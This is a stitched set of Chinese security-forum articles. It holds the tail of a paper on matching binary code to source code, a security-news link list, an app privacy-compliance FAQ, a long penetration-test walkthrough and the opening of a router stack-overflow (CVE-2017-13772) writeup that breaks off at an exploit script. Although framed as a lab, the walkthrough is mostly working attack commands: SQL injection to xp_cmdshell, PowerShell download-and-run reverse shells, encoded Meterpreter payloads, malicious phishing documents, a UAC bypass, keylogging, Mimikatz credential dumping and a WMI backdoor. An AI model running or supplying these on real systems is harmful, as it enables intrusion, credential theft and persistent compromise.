**CodeCMR框架** ，在跨模态检索领域中，这是一种比较常见的结构[3,
4]。在计算最终向量之前，两个模态之间没有信息传递，因此在实际应用时可以预先计算向量，可以节省大量的线上计算时间以及存储空间。
图2 - CodeCMR整体框架
#### 整体结构
模型的输入有 **源代码特征** 和 **二进制代码特征**
两个部分。其中源代码特征是字符级别的源代码、从源代码中提取的字符串和立即数；二进制代码特征是控制流图、二进制代码的字符串和立即数。首先将三个输入（语义特征、字符串特征、立即数特征）分别用不同模型计算得到向量，再用拼接+BatchNorm的方式得到代码向量，最后用triplet
loss[5]作为损失函数。
在这个基础框架上，有许多可以改进的创新点，例如 **使用预训练模型做语义融合、使用adversarial loss对齐向量** 等，对此我们将在后文讨论。
图3 - 源代码与二进制代码的语义模型
#### 语义模型
如图3所示， **对于字符级源代码** ，我们使用的是 **DPCNN模型[6]** ； **对于二进制控制流图** ，我们使用的是
**端到端的GNN模型**
。在函数级别，字符级源代码的输入通常在4096以上，DPCNN的效果远优于TextCNN和LSTM。对于控制流图，我们没有使用BERT预训练的node
embedding作为输入[7]，而是采用了端到端训练的方式，取得了更好的效果。
在这个阶段，本文使用的是DPCNN和GNN，但ASTNN等树模型也同样值得尝试。由于输入是函数级别的代码，缺少#define、#include等重要信息，需要设计合适的编译工具将源代码转化为AST。相比之下，
**我们直接将文本作为输入的优点是无需额外的专家经验，健壮性强** 。
#### 立即数、字符串模型
对于源代码与二进制代码的立即数和字符串，我们同样设计了模型进行匹配。
对于立即数，我们设计了一种 **Integer-LSTM** 。它的输入有 **integer token** 和 **integer number**
两个。integer number作用在LSTM的输入门和输出门，从而控制信息流动。
对于字符串，我们使用的是 **层次模型** ，先用LSTM模型得到每个字符串的向量，再使用sum pooling的方法得到字符串集合的向量。
#### Norm weighted sampling
在得到源代码与二进制代码的向量后，我们设计了一种采样方法。在metric
learning领域中，损失函数和采样方法是十分重要的两个模块。为了解决hard样本在训练早期收敛到局部极小值的问题，[5]提出了semi-hard采样方法。然而，[8]指出这种采样方法可能会在某个时间段停止训练，从而提出了distance weighted
sampling采样方法解决这个问题：
**distance weighted sampling** 可以在分布中选择各个概率的样本，而semi-hard、hard、uniform等采样方法只能选择特定分布的样本。在此基础上，本文提出了一个改进，即 **增加一个超参数s**
，帮助调整概率的分布，从而适应不同的任务和数据集。
### 实验
#### 数据集与评测指标
本文分别用 **gcc-x64-O0** 和 **clang-arm-O3**
作为两种组合方式，制作了两个30000/10000/10000的训练/验证/测试集，并使用recall@1和recall@10作为评测指标。数据集已公开在<https://github.com/binaryai>。
表1 - 实验结果
#### 实验结果
如表1所示，本文提出的方法与传统方法相比有巨大提升，这一发现符合我们的预期，说明 **代码间隐含的语义特征十分重要** 。在语义模型中，
**DPCNN+HBMP** 取得了最优的效果，说明 **在二进制侧端到端训练优于预训练的node embedding** 。与随机采样和distance
weighted采样方法相比， **norm weighted采样效果更好** 。图4的train/valid
loss曲线也证明了这一点，当s=5时norm weighted sampling的train loss更高但valid
loss更低，这表示采样到更合适的样例pair。
图4 - 训练与验证的损失函数曲线
### 讨论与总结
#### 讨论
基于CodeCMR框架，有很多值得尝试的创新。
1）code encoder。ASTNN、Tree-LSTM、transformer等模型可能也同样有效。
2）其它损失函数和采样方法，如AM-softmax、Circle loss等。
3）对抗训练以及其它的跨模态检索领域的方法。
4）预训练算法。在获得最终向量前两个模态没有信息融合，因此在两个模态分别单独预训练或用跨语言模型的方法融合训练，均是值得尝试的。
#### 总结
本文针对 **二进制代码-源代码匹配任务** 提出了 **CodeCMR框架** ，成功地利用了 **源代码与二进制代码间的语义特征**
。与传统方法相比，取得了很大的突破。
### 参考文献
[1]Yuan Z, Feng M, Li F, et al. B2SFinder: Detecting Open-Source Software
Reuse in COTS Software[C]//2019 34th IEEE/ACM International Conference on
Automated Software Engineering (ASE). IEEE, 2019: 1038-1049.
[2]Miyani D, Huang Z, Lie D. Binpro: A tool for binary source code
provenance[J]. arXiv preprint arXiv:1711.00830, 2017.
[3]Wang H, Sahoo D, Liu C, et al. Learning cross-modal embeddings with
adversarial networks for cooking recipes and food images[C]//Proceedings of
the IEEE Conference on Computer Vision and Pattern Recognition. 2019:
11572-11581.
[4]Wang B, Yang Y, Xu X, et al. Adversarial cross-modal
retrieval[C]//Proceedings of the 25th ACM international conference on
Multimedia. 2017: 154-162.
[5]Schroff F, Kalenichenko D, Philbin J. Facenet: A unified embedding for face
recognition and clustering[C]//Proceedings of the IEEE conference on computer
vision and pattern recognition. 2015: 815-823.
[6]Johnson R, Zhang T. Deep pyramid convolutional neural networks for text
categorization[C]//Proceedings of the 55th Annual Meeting of the Association
for Computational Linguistics. 2017: 562-570.
[7]Yu Z, Cao R, Tang Q, et al. Order Matters: Semantic-Aware Neural Networks
for Binary Code Similarity Detection[C]//Proceedings of the AAAI Conference on
Artificial Intelligence. 2020, 34(01): 1145-1152.
[8]Wu C Y, Manmatha R, Smola A J, et al. Sampling matters in deep embedding
learning[C]//Proceedings of the IEEE International Conference on Computer
Vision. 2017: 2840-2848.
* * * | 社区文章 |
# 12月23日安全热点 - Satori宣告终结/LTE安全指南
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Satori与它的幕后黑手——所谓的脚本小子被逮捕
<https://www.bleepingcomputer.com/news/security/amateur-hacker-behind-satori-botnet/>
Nissan Finance Canada被黑，大量顾客信息泄漏
<http://securityaffairs.co/wordpress/67023/data-breach/nissan-finance-canada-hacked.html>
本周勒索软件周报
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-22nd-2017-wannacry-arrests-and-more/>
## 技术类
Java中预测Math.random()
<https://franklinta.com/2014/08/31/predicting-the-next-math-random-in-java/>
代码签名证书的克隆攻击
<https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec>
Linux堆利用之Heap Double Free Attack
<https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-riding-free-on-the-heap-double-free-attacks/>
使用Burp和Magisk在Android7+上监测HTTPS流量
<https://blog.nviso.be/2017/12/22/intercepting-https-traffic-from-apps-on-android-7-using-magisk-burp/>
LTE安全指南
<http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-187.pdf>
Radare2与逆向工程 Part 2
<https://medium.com/@jacob16682/reverse-engineering-with-radare2-part-2-83b71df7ffe4>
Windows DMA攻击
<https://sysdream.com/news/lab/2017-12-22-windows-dma-attacks-gaining-system-shells-using-a-generic-patch/>
Spring Boot RCE
<http://deadpool.sh/2017/RCE-Springs/>
Elastalert与自动威胁监测
<https://jordanpotti.com/2017/12/22/using-elastalert-to-help-automate-threat-hunting/>
Burp与复杂Intruder攻击
<https://www.trustedsec.com/2017/12/complex-intruder-attacks-burp/>
SwordPhish：人类防火墙的脆弱性
<https://github.com/Schillings/SwordPhish>
都看到这了就送你一个终端游戏
<http://sshtron.zachlatta.com> | 社区文章 |
# APP合规实践3000问之三
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着陆续出台的一系列规定要求，监管粒度在持续更新和细化，包括41391《移动互联网应用程序（APP）收集个人信息基本要求》（以下简称《基本要求》）、网信发布的《应用程序信息服务管理规定》、《用户账号信息管理规定》以及工信即将修订的《电信和互联网用户个人信息保护规定》，我们现在就来逐一聊一聊~
### Q1 GB/T41391-2022 《信息安全技术 移动互联网应用程序（APP）收集个人信息基本要求》概述
4月发布的《基本要求》即将于11月1日正式实施，这项标准作为APP个人信息保护方面的国家标准，明确了收集个人信息、必要个人信息的基本规定，包含告知用户同意、获取系统权限及第三方收集管理等要求。
《基本要求》也是对去年发布的常见39类APP必要个人信息范围规定的细化，提出了12种特定类型个人信息的收集要求，在现有监管要求、标准规范的基础上，通过附录形式明确各常见服务类型APP必要个人信息范围、可收集个人信息权限范围、常见服务类型与系统权限相关程度等，促进企业在实践过程中落实《常见类型移动互联网应用程序必要个人信息范围规定》、《App违法违规收集使用个人信息行为认定方法》等监管要求。对于APP运营企业而言，要确保不收集无关个人信息，不强制收集非必要但有关联的个人信息。
### Q2 APP运营企业如何做？
对于已经开发的APP，应全面梳理APP及接入的第三方所收集的个人信息、申请的系统权限、各项个人信息类型、系统权限所用于的业务功能或使用目的，以及该个人信息/权限是否为实现相关功能或目的所必需；对于准备开发的APP，应在APP开发前梳理所提供的业务功能、所涉及的服务类型来确定APP类型，若判断属于常见39类，可以根据《基本要求》附录A来确定APP的基本业务功能、必要个人信息范围，若不属于常见39类，需要根据《基本要求》第5章来合理拆分基本业务功能、扩展业务功能。
### Q3 必要个人信息的理解
《基本要求》附录B中重点明确了必要个人信息的含义，APP基本业务功能所必须的个人信息为必要个人信息，扩展业务功能所需收集的信息为非必要个人信息，即当且仅当没有该个人信息的参与，APP的基本业务功能无法实现或无法正常运行的为必要个人信息。
当用户同意收集APP必要个人信息时，应保障用户可拒绝或撤回同意收集非必要个人信息，且不应因用户拒绝、撤回同意提供非必要个人信息或关闭退出扩展业务功能，而拒绝用户使用该APP的基本业务功能。做到“无关的不收集，非必要的不强制”。
### Q4 系统权限的申请和使用要求
《基本要求》附录D明确了可收集个人信息权限的范围，给出了30个安卓和15个iOS的可收集个人信息的权限及其功能、可访问的个人信息、对应的业务功能示例，从APP业务功能出发限定所能收集的权限范围；附录E列出了与常见服务类型相关程度较低的安卓系统权限表，APP提供者应识别APP提供的服务类型，根据该表综合判断APP申请权限的相关性和合理性，做到“无关者不收集”。
APP在申请可收集个人信息权限时，应仅声明和申请实现APP服务目的最小范围的系统权限，不应申请与APP业务功能无关的系统权限。开发人员可能很容易忽略在应用程序清单文件（Android的manifest.xml文件，iOS的info.plist文件）声明的权限，应注意避免存在声明的权限实际并未用到的情况。网络安全标准实践指南—《移动互联网应用程序（APP）系统权限申请使用指南》中也对权限的申请使用有具体要求。
### Q5 设备信息主要关注哪些，收集应注意什么？
对于Android客户端，APP可通过申请READ_PHONE_STATE（电话权限）来获取IMEI等设备信息，除35273《个人信息安全规范》中附录A列举的设备信息，《基本要求》附录F里重点列举了六个不可变更的唯一设备标识码，包括IMEI/IMSI/MEID/SN/MAC地址/ICCID，对于不可变更的唯一设备识别码，APP不应收集。定向推送信息和用户画像场景采用唯一设备识别码标识用户时，应使用可变更的唯一设备识别码，且不应将其与用户身份信息或不可变更的唯一设备识别码关联，并且应控制收集频率。
### Q6 剪切板、传感器怎样合规使用？
剪切板、传感器也是《基本要求》里提到的12种特定类型个人信息之一，由于这两个权限不需要做特别申请，用户可能感知不明显，很容易被忽略，应注意在合理场景满足最小必要原则（包括控制收集频率、范围、精度等），同时需要在隐私政策中进行声明。
### Q7 第三方管理的若干要求
《基本要求》中明确了对接入的第三方应用、嵌入的第三方SDK的安全管理要求。第三方指移动互联网应用程序运营者之外的其他法人实体，包括关联公司，但第三方不包括与APP运营者属于同一企业集团，遵守同一套管理制度、统一进行安全和运维管理的其他法人实体。同时对APP接入第三方应用和APP嵌入第三方SDK指出了两种管理模式，提出了不同的合规管理要求，如下图所示。
另外，网络安全标准实践指南——《移动互联网应用程序（APP）使用软件开发工具包（SDK）安全指引》也详细规范了APP 使用 SDK 的相关方和责任、常见
SDK 类型、常见安全问题、基本原则和安全措施。
### Q8 自启和关联启动
除了关注SDK是否存在自启动、关联启动，APP在非服务所必需或者无合理场景下，也不应自启动或者关联启动其他APP。自启和关联启动可能会引起已经退出应用后还在收集信息，应注意应用后台收集信息的情况，当APP在静默状态或在后台运行时，除必要场景外不应收集用户个人信息，例如像导航类APP在使用时切换到后台后，可以基于导航功能收集定位信息。
### Q9 网络直播之未成年人监管
《基本要求》中提出收集不满14周岁未成年人个人信息，应制定专门的个人信息处理规则如下图所示，并应取得未成年人的父母或者其他监护人的单独同意，详情如下图所示。
近期针对未成年人监管持续收紧，5月国家广电总局发布了《关于规范网络直播打赏加强未成年人保护的意见》，要求网站平台应在该意见发布1个月内全部取消打赏榜单，加强对礼物名称、外观等规范设计，加强新技术新应用上线的安全评估，不得上线运行以打赏金额作为唯一评判标准的各类功能应用。每日20时至22时，单个账号直播间“连麦PK”次数不得超过2次，不得设置“PK惩罚”环节，不得为“PK惩罚”提供技术实现方式，每日22时后，对“青少年模式”下的各项服务强制下线。此外，7月中央网信办深入开展为期2个月的“暑期未成年⼈⽹络环境整治”专项行动，严查诱导未成年人参与直播打赏行为。
### Q10 实名认证的注意事项
在《应用程序信息服务管理规定》、《用户账号信息管理规定》中均提到，应用程序提供者为用户提供信息发布、即时通讯等服务的，应当对申请注册的用户进行基于移动电话号码、身份证件号码或者统一社会信用代码等方式的真实身份信息认证。用户不提供真实身份信息，或者冒用组织机构、他人身份信息进行虚假注册的，不得为其提供相关服务。
微信公众平台在4月发布了公告指引《关于小程序违规收集手机号行为的规范》，避免注册流程需绑定手机号的小程序违规。例如不得在非必要情况下强制用户授权手机号，要求用户在进入小程序后可体验相关业务，不得在未展示任何信息的情况下强制授权手机号；用户正常浏览小程序版块或页面过程中，不得强制授权手机号；涉及需要授权手机号的场景，应明确向用户说明授权原由。
本期分享暂且告一段落，若大家有感兴趣的合规问题可在评论区留言讨论，我们在下一期进行集中探讨，期待大家的反馈，下期再见~ | 社区文章 |
# 【技术分享】无弹窗渗透测试实验
|
##### 译文声明
本文是翻译文章，文章来源：先知社区
原文地址：<https://xianzhi.aliyun.com/forum/read/2061.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：niexinming@n0tr00t security team**
**
**
**0x01 前渗透**
内网拓扑说明：
10.101.101.0/24 网段模拟的是 **外网** 的地址
192.168.101.0/24 网段模拟的是一个小型企业的内网中的 **应用服务器网络**
192.168.111.0/24 网段模拟的是一个小型企业的内网中的 **办公网络**
企业内网可以无限制的访问到外网，但是外网无法访问到企业内网
办公网可以无限制的访问到应用服务器网络，但是应用服务器网络无法访问到办公网络
部分服务器打了全部的补丁，并且保持正常更新
内网拓扑图：
扫描 10.101.101.13 后发现此服务器开放 80、82 端口， Win2008 系统，80 端口处发现 SQL
注入，获取数据库和数据库所在服务器版本：
http://10.101.101.13/?page=1
and @@version>0 --
数据库是 2008r2 的，所在的操作系统是 Win2008 或 Win7，随后看数据库：
http://10.101.101.13/?page=1;if
IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --
这个语句测试数据库的权限，发现有延时，证明是有数据库的权限是dba的权限，打开 xp_cmdshell
的限制，创建临时表执行命令并将结果写入新创建的临时表中：
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE；
http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));-- http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--
读取结果：
http://10.101.101.13/?page=1
and (select substring((select a from temp for xml auto),1,4000))>0--
看上去这个网站是站库分离的网站，用这种方法执行 ping 10.101.101.16 ，发现数据库服务器可以通外网，获取这些信息之后，我 drop
table temp 删除创建的临时表。在获取到这么多信息了之后，在自己机子上开一个 Web 站点下载 nishang 的 powershell
的反弹脚本到自己的 Web
服务器上：[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
nv -lvvp 8888 监听等待反弹，然后执行：
http://10.101.101.13/?page=1;exec
master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 10.101.101.13 -port 8888';--
但是数据库权限并不高，现在我将用 Powershell 远程加载并执行exe的脚本执行 **ms15-051** ，Ps
脚本地址：[https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1](https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1) ，执行：
IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection
-PEUrl
http://10.101.101.13/x86/ms15-051.exe
-ExeArgs "cmd" -ForceA
可以看到提权没有成功，并且换一个 Exploit 也没成功：
继续使用 msf 探测，开启 msf 监听功能：
执行，从数据库主机上反弹一个 meterpreter 连接：
http://10.101.101.13/?page=1;exec
master..xp_cmdshell('IEX(New-Object Net.WebClient).DownloadString("
http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1"
;)
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
随后用 use auxiliary/scanner/smb/smb_version扫描 smb 获取内网信息，发现 mail 服务器，然后用 use
auxiliary/scanner/portscan扫描端口，发现开放 80 25 110 端口：
使用 use auxiliary/server/socks4a 代理进内网后在 82 断口处发现了惊喜：
通过弱口令轻松进入到后台，发现一个可以生成静态站的地方：
把自定义静态页面存储主路径改成 1.asp ，然后编辑一篇文章把木马代码放进去，重新生成静态页面 GetShell ：
这个服务器的 82 不能执行cmd，不支持aspx，不能跨目录到umail，但是在一个奇怪的地方发现一个一份企业通讯录，下载下来看到管理员邮箱：
于是想到用伪造邮件的方法来钓管理员，参考两篇文章：
<http://www.freebuf.com/vuls/144054.html>
<http://www.91ri.org/15506.html>
第一种方法：首先用 **CVE-2017-8570 Explot** 做一个钓鱼用的 ppsx ，由于原来的 exp 要用 Poershell 下载
shell.exe 再执行，这样容易被杀软发现，并且原来的 exp 执行反弹回来的 shell 权限不够，所以要考虑绕过 UAC ，让管理员点击恶意的
ppsx 后静默反弹一个高权限的shell ，如果用 nishang 给的 Invoke-PsUACme.ps1
，执行之后会有一个一闪而过的黑框框，很让人感到怀疑，去掉这个一闪而过的黑框框很简单，因为我用 oobe 的方法在 Win7 上绕过 UAC
，所以我在这里只介绍在这种条件下去掉黑框框的方法，首先去掉 Invoke-PsUACme.ps1 第206行的 & $execpath 代码，之后在调用
Invoke-PsUACme 的时候 -payload 参数写上你要执行的命令，最后用 rundll32.exe 静默启动
C:/Windows/System32/oobe/setupsqm.exe
IEX(New-Object Net.WebClient).DownloadString("
http://10.101.101.16/uacchm.ps1"
;)
换掉原来 exp 里面的 Powershell 调用语句，其中 uacchm.ps1 的内容是：
IEX (New-Object System.Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1'
;)
Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='
Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而其中enc后面的数据是经过下面的代码编码而成：
$command = "IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/chm.ps1')"
;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
编码的内容：
IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';)
chm.ps1：
IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force
改好的 exp
[https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py](https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py)
，用法是：先生成一个恶意的ppsx
python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u
http://10.101.101.16:82/logo.doc
在 82 端口开启服务：
python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16
Ps: 好多时候这个漏洞复现不成功，可以将查看 文件 -> 选项，点击 信任中心设置，去掉设置中的所有勾取选项即可：
第二种方法比较简单，用 easy chm 做一个恶意的 chm ：
其中我做的 test.html 我放在了
[https://github.com/niexinming/safe_tool/blob/master/test.html](https://github.com/niexinming/safe_tool/blob/master/test.html)
Ps: 由于PARAM的value的长度似乎有某种限制，所以我把
IEX (New-Object Net.WebClient).DownloadString("
http://10.101.101.16/uacchm.ps1"
;)
base64 编码之后放入 PARAM 的 value 中 ：
两个恶意的文件都制作好后用 swaks 伪造邮件把这两个文档发送出去：
现在静静等待管理员点击我们的恶意文件，启动msf的 exploit/multi/handler 模块时候用 exploit -j 就可以让 msf
在后台等待管理员上钩了。
**
**
**0x02 后渗透**
当我们发现一个管理员中了我们的木马：
由于 bypass 了 uac ，所以返回的是管理员的 shell ，我们可以用 mimikatz 来把密码脱出来看看：
由于管理员的机子不属于任何域，也不是域账号登陆，所以我需要获取他的在远程登陆其他机子的时候的用户名和密码，根据[这篇文件](http://www.freebuf.com/articles/system/132075.html)的介绍，我希望替换远程桌面的快捷方式来监视管理员的行为，思路是：
正常启动c:windowssystem32mstsc.exe，避免管理员怀疑
由于原来的exp一启动就会有个黑框框一闪而过，要用rundll32的方式来消除黑框框，让恶意代码静态启动
参数部分要先加260个空格字符后面接着为payload代码，这样减小管理员查看属性的时候看到payload而产生怀疑
参考http://wooyun.jozxing.cc/static/drops/tips-13125.html这个文章静默启动一个桌面步骤记录程序
利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录
记录一分钟后把记录的文件隐藏起来
启动metasploit的反弹连接
修改图标（关于C:Windowssystem32SHELL32.dll的图标id，有个网站给的很全面，[http://help4windows.com/windows_7_shell32_dll.shtml，可以修改传递给图标id来修改图标](http://help4windows.com/windows_7_shell32_dll.shtml%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9%E4%BC%A0%E9%80%92%E7%BB%99%E5%9B%BE%E6%A0%87id%E6%9D%A5%E4%BF%AE%E6%94%B9%E5%9B%BE%E6%A0%87)）
我把修改好的代码放在
[https://github.com/niexinming/safe_tool/blob/master/link.ps1](https://github.com/niexinming/safe_tool/blob/master/link.ps1)
，远程加载的恶意的 PowerShell 代码放在了
[https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1](https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1)，生成好恶意的快捷方式之后只要修改
rlnk.ps1 就可以做你想做的事情了。
使用方法：
看着已经生成好了，看一下效果：
看着比较正常，用起来也很正常，没有卡顿，没有一闪而过的黑框，如果管理员用到远程登陆快捷方式去远程登陆服务器的话，在 c:windowstemp 目录下会生成
log.dll ，这个里面记录的是键盘记录，cap.zip记录的是关键步骤截屏：
等管理员启动的恶意的远程登陆快捷方式之前，可以用管理员的密码在应用服务器网段内用 use auxiliary/scanner/smb/smb_login
碰碰运气（看起来运气并不怎么样。。。）：
等了几天后，我们发现在这个目录下终于有东西了，下载之后看到键盘记录：
屏幕截图记录：
我们现在获得了一个普通域账号的账户名和密码，下面试试 MS14-068
能不能成功，参考：[http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note](http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note)#/
，用 proxychain 执行：
goldenPac.py diattack.com/jack:[email protected]
NICE!!!
Ps: 攻击的时候如果dns在内网要记得hosts的地址绑定。
用得到的 shell 反弹一个 PoweShell 出来到本地8888端口，如果你用下面的语句反弹的话将得到是一个32位的 PowerShell ：
powershell IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 10.101.101.16 -port 8888
这个时候如果你运行：
IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
系统会报错，原因是你不能在32位的 Shell
中运行64位的程程序，这里涉及到一个64位系统文件重定向的问题，参考：[http://www.cnblogs.com/lhglihuagang/p/3930874.html](http://www.cnblogs.com/lhglihuagang/p/3930874.html)，所以正确的做法是使用下面的代码来反弹一个64位的
PowerShell ：
C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 10.101.101.16 -port 8888
再次运行：
IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
成功得到域控管理员的密码，下面我们要在域控上面安装一个隐蔽的后门，参考：
[http://www.moonsec.com/post-621.html](http://www.moonsec.com/post-621.html)
[https://www.secpulse.com/archives/39555.html](https://www.secpulse.com/archives/39555.html)
[http://wooyun.jozxing.cc/static/drops/tips-15575.html
](http://wooyun.jozxing.cc/static/drops/tips-15575.html%C2%A0%C2%A0);
这里利用三好学生的方法制作一个 wmi 的后门，首先在自己的 Web 目录下写一个 mof.ps1 ，这个文件作用是用利用 wmi
的定时器的功能让系统每分钟执行一次我们的 payload，这个 mof.ps1 我放在
[https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1](https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1)
，我还写了一个可以劫持进程的 Powershell 脚本，放在
[https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1](https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1)
，这里我的 Payload 用一个反弹 meterpreter 连接的脚本，mof.txt：
<?xml version="1.0"?>
<package> <component id="testCalc">
<script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]> </script>
</component> </package>
enc编码前的内容依然是：
IEX (New-Object System.Net.WebClient).DownloadString('
http://10.101.101.16/chm.ps1'
;)
执行之后，每分钟会反弹一个meterpreter的shell，而且重启后依然会反弹：
Ps: 这个wmi的后门我在Win10上实验的时候不能执行 Payload ，如果触发到后门的触发条件的话， Win10 会弹出 openwith.exe
这个进程，界面上看就是这个：
查了两天资料也没有找到一个正经的解决方法，但是后来把 openwith.exe 换成 cmd.exe 就可以执行 Payload 了，因为 win7 和
win2008 没有 openwith ，所以没有遇到什么阻力就直接执行Payload，但是 Win10 和 Win8 在正常情况下就会打开
openwith
，这个后门的清理方式可以参考：[https://www.52pojie.cn/thread-607115-1-1.html](https://www.52pojie.cn/thread-607115-1-1.html)
最后，我还想放置一个后们，在域控管理员改密码的时候记录他的新密码[[参考](http://wooyun.jozxing.cc/static/drops/tips-13079.html)]，注意他的脚本里面有一个选项可以从你的
Web 服务器加载一个dll到对方主机内存里面，这样你把你的dll生成好之后就可以放在你的 Web 服务器下面，在这个ps1最下面加入：
Invoke-ReflectivePEInjection -PEUrl
http://10.101.101.16/HookPasswordChange.dll
–procname lsass
然后你把这个脚本的调用加入到chm.ps1里面，下面是改动之后chm.ps1里面的内容：
IEX (New-Object System.Net.WebClient).DownloadString("
http://10.101.101.16/HookPasswordChangeNotify.ps1"
;)
IEX (New-Object System.Net.WebClient).DownloadString("
http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"
;); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force
这样一方面我们可以反弹一个 meterpreter ，另一方面还可以在域管理员改密码的时候记录他的新密码： | 社区文章 |
### 前言
这个是最近爆出来的漏洞，漏洞编号：[CVE-2017-13772](https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/)
固件链接：<http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip>
之前使用 `firmadyn` 可以正常模拟运行，但是调试不了，就没有仔细看这个漏洞。今天突然想起 他会启动一个 `ssh`
服务，那我们是不是就可以通过`ssh` 连上去进行调试，正想试试，又不能正常模拟了。。。。。下面看具体漏洞。
### 正文
漏洞位与 管理员用来 `ping` 的功能，程序在获取`ip` 地址时没有验证长度，然后复制到栈上，造成栈溢出。搜索关键字符串 `ping_addr`
定位到函数 `sub_453C50`
获取 `ip` 地址后，把字符串指针放到 `$s6`寄存器，跟下去看看。
传入了`ipAddrDispose`函数，继续分析之：
先调用了 `memset` 初始化缓冲区，然后调用 `strcpy` 把 `ip` 地址复制到栈上，溢出。
利用的话和前文是一样的，经典的栈溢出，经典的 rop。
[一步一步pwn路由器之rop技术实战](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-28-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8Brop%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html)
[一步一步pwn路由器之路由器环境修复&&rop技术分析](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-26-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8B%E8%B7%AF%E7%94%B1%E5%99%A8%E7%8E%AF%E5%A2%83%E4%BF%AE%E5%A4%8D-rop%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90.html)
附上参考链接里的 `exp`
#!/usr/bin/python
# -*- coding: UTF-8 -*- import urllib2
import base64
import hashlib
